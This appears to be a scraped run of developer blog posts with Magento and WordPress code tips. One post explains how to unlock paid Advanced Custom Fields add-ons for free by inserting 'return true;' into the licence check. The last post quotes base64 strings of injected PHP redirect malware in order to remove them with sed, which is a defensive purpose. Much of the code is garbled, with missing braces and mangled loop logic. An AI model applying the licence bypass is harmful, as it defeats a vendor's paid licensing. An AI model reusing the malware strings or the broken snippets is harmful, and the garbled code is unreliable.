Get simple product id from Configurable Product in Wishlist Cart

Hey Guys,

Today i am going to give the code to get the choosed simple product id from configurable product in Wishlist.

$item object should be instance of this class Mage_Wishlist_Model_Item


Thank you.

Multi Email Validation Class for Magento Prototype JS

Hi All,

Today i am going give the multi email validation class added to the form in magento prototype js. Some of the email fields need multi email features, But they dont know how to validate the multi email address using prototype javascript. Here is the code, Add it to any one of the js or customized js. Then put this “validate-multi-email” class to input fields like other validation classes.

* Add Multi email validation to Default Prototype Validator Class
* return bool
Validation.add('validate-multi-email','Please enter a valid email address. For example',function(emails){
emails = emails.split(',');
for(var i = 0;i<emails.length;i++){
if( Validation.get('validate-email').test(emails[i]) == false){
return false;
return true;

I hope some one can get this thing.

Thank you.

How to assign bundle items to the bundle product programmatically

Today I am going to explain about the Magento Bundle Option, selection and Items with Bundle Product. Some of the guys know about the all types for products in magento. But I will list it out.

1. Simple
2. Virtual
3. Configurable
4. Grouped
5. Bundle
6. Downloadable
Bundle Product can allow simple and virtual product types only. I will show you how the code looks.
Create bundle option programmatically
$bundle – Object instance of Bundle Product

$optionModel =
->setParentId($bundle -> getId())

Store ID should be current store id.

Create bundle selection programmatically.

$values = array(
'option_id' => $ optionModel -> getOptionId(),
'parent_product_id' => $bundle -> getId(),
'product_id' => $curProduct -> getId(),
'position' => 0,
'is_default' => 0,
'selection_price_type' => 0,
'selection_price_value' => 0.0000,
'selection_qty' => 1.0000,
'selection_can_change_qty' => 1

$curProduct – Object instance of simple product or virtual product.

Mage::getModel('bundle/selection') -> setStoreId($curProduct -> getStoreId()) -> setData($values) -> save();

You can use this code with the Model and Controllers. Especially for the Magento Observers Methods.

I hope it helps some of the Magento Developers.

Comments Welcome.

Thanks Guys. Magento Rocks.

Programmatically Add Magento Admin User Roles and Resources

Hi all again,

Today i would like to share, how to add magento admin user roles and resources using code.

/* 4 Roles Creation Default*/
$roles = array('User Role 1','User Role 2','User Role 3','User Role 4');
$roleIds = array();
$resources = explode(',', '__root__,admin/sales,admin/sales/order,admin/sales/order/actions,admin/sales/order/actions/hold,admin/sales/order/actions/creditmemo,admin/sales/order/actions/unhold,admin/sales/order/actions/ship,admin/sales/order/actions/comment,admin/sales/order/actions/invoice,admin/sales/order/actions/capture,admin/sales/order/actions/email,admin/sales/order/actions/view,admin/sales/order/actions/reorder,admin/sales/order/actions/edit,admin/sales/order/actions/review_payment,admin/sales/order/actions/cancel,admin/sales/order/actions/create,admin/dashboard,admin/catalog,admin/catalog/products,admin/cms,admin/cms/page,admin/cms/page/save,admin/system,admin/system/acl,admin/system/acl/users');
foreach($roles as $role){
$col = Mage::getModel('admin/role')->setRoleName($role)->setRoleType('G')->setTreeLevel(1)->save();
if( in_array($role, $enabledRoles) )
$roleIds[] = $col->getRoleId();
$rules = Mage::getModel('admin/rules')->setRoleId($col->getRoleId())->setResources($resources);
$rules = Mage::getModel('admin/resource_rules')->saveRel($rules);

We are created a new user roles(User Role 1, User Role 2, User Role 3 and User Role 4). Then we have to update the Role Resources. I have checked with Magento Version

You can get the Resources list in the backend of the magento roles area.

If any suggestions welcome with comments area below.

Thank you.

Advanced Custom Fields(ACF Add On) Add Ons Hack Tip

Hi there,

Today i would like to explain about Advanced Custom Fields(ACF Add On) Add On activation for Free. You have append a one line to the specific file of the ACF WordPress Plugin.


Find this function:

function is_field_unlocked($field_name){
$hashes = array(
'repeater' => 'bbefed143f1ec106ff3a11437bd73432',
'options_page' => '1fc8b993548891dc2b9a63ac057935d8',
'flexible_content' => 'd067e06c2b4b32b1c1f5b6f00e0d61d6',
'gallery' => '69f4adc9883195bd206a868ffa954b49',

Append this row like this:

function is_field_unlocked($field_name){
return true;
$hashes = array(
'repeater' => 'bbefed143f1ec106ff3a11437bd73432',
'options_page' => '1fc8b993548891dc2b9a63ac057935d8',
'flexible_content' => 'd067e06c2b4b32b1c1f5b6f00e0d61d6',
'gallery' => '69f4adc9883195bd206a868ffa954b49',

You have to add this line return true; first line of the is_field_unlocked function.

I hope it helps some one. If any suggestion, welcome to our comments area(Just bottom of this page).

If you like this post, please like me via Facebook Like Box.

Thank you.

How to add a shortcode for custom menu item in WordPress

Hi Guys,

Today i will explain how to use short code for custom menu item in navigation.

I have tried and got the result for it. Here i explained how i did it.

First you have to install the this plugin for url short-code ->

Add this code to your functions.php file with your theme.

class description_walker extends Walker_Nav_Menu{
function start_el(&$output, $item, $depth, $args)
global $wp_query;
$indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';

$class_names = $value = '';

$classes = empty( $item->classes ) ? array() : (array) $item->classes;

$class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );
$class_names = ' class="'. esc_attr( $class_names ) . '"';

$output .= $indent . '

  • ID . '"' . $value . $class_names .'>';

    $attributes = ! empty( $item->attr_title ) ? ' title="' . esc_attr( $item->attr_title ) .'"' : '';
    $attributes .= ! empty( $item->target ) ? ' target="' . esc_attr( $item->target ) .'"' : '';
    $attributes .= ! empty( $item->xfn ) ? ' rel="' . esc_attr( $item->xfn ) .'"' : '';

    //echo $item->url;
    $string = explode('::', $item->url, 3);
    $string[1] = str_replace('-',' ', $string[1] );
    $item->url = do_shortcode("[$string[1]]");

    $attributes .= ! empty( $item->url ) ? ' href="' . esc_attr( $item->url ) .'"' : '';

    $prepend = '';
    $append = '
    $description = ! empty( $item->description ) ? ''.esc_attr( $item->description ).'' : '';

    if($depth != 0)
    $description = $append = $prepend = "";

    $item_output = $args->before;
    $item_output .= '';
    $item_output .= $args->link_before .$prepend.apply_filters( 'the_title', $item->title, $item->ID ).$append;
    $item_output .= $description.$args->link_after;
    $item_output .= '
    $item_output .= $args->after;

    $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );

    Then you have to call this function from wp_nav_menu from the templates files.

    $arg = array( 'menu' => "main-menu", 'echo' => true, 'fallback_cb' => 'wp_page_menu', 'depth' => 0, 'walker' => new description_walker() );

    wp_nav_menu( $arg );

    Thats it. Then go to the back-end with menu section.

    For example i want to give the page URL to custom link.

    I will add like this —–> http://::blogurl-id=’1302′::

    That’s All.

    Now you can go to the front-end and check the shortcode will work.


  • Remove a sentence from files in linux using SED command

    Hi to all,

    Today we are going to see the how to remove a sentence or word from any type of files in the linux server. Especially Website developers should know this information.

    Sometimes hackers can enter append his code to all index files or all type of files. If suppose our website files are too large. So we could not remove the unwanted script code one by one from each file. But We have solution for this type of bugs. We can remove any of sentence or word using a single line of command in linux operating system. Now we can see how it will work.

    If we want to remove a sample sentence for root and sub directory files.
    Example folder:


    We have remove this sentence to all folders.
    Example sentence:

    Just connect with your server via Shell Terminal. Putty software for windows and Linux for g-nome terminal.

    Just do this way.

    > first_string = DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29t

    > second_string = KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29zdGFicmF2YS5iZWUucGwvIik7DQpleGl0KCk7DQp9DQp9DQp9DQp9

    > find /home/manimaran/public_html/training/. -type f | while read -r file
    > do
    > sed -i "s/$first_string//g" "$file"
    > sed -i "s/$second_string//g" "$file"
    > sed -i 's/sample//g' "$file"
    > done

    Thats it. You can remove a word like this way
    > sed -i 's/sample//g' "$file"

    Now all matched patterns are replaced by empty value.

    I hope this helps some one.

    If you have any clarifications you can comment here.